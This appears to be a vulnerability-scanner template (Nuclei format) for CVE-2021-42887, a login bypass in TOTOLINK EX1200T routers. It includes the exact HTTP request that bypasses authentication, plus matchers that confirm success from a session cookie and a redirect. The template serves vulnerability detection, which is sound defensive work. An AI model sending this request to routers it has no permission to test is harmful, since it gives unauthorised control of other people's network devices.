id: CVE-2021-42887

info:
  name: TOTOLINK - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    In TOTOLINK EX1200T V4.1.2cu.5215, an attacker can bypass login by sending a specific request through formLoginAuth.htm.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 9.8
    cve-id: CVE-2021-42887
    cwe-id: CWE-287
  tags: totolink,auth-bypass,cve,cve2021,router

requests:
  - raw:
      - |
        GET /formLoginAuth.htm?authCode=1&action=login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Set-Cookie: SESSION_ID="
        part: header

      - type: status
        status:
          - 302

# Enhanced by mp on 2022/11/06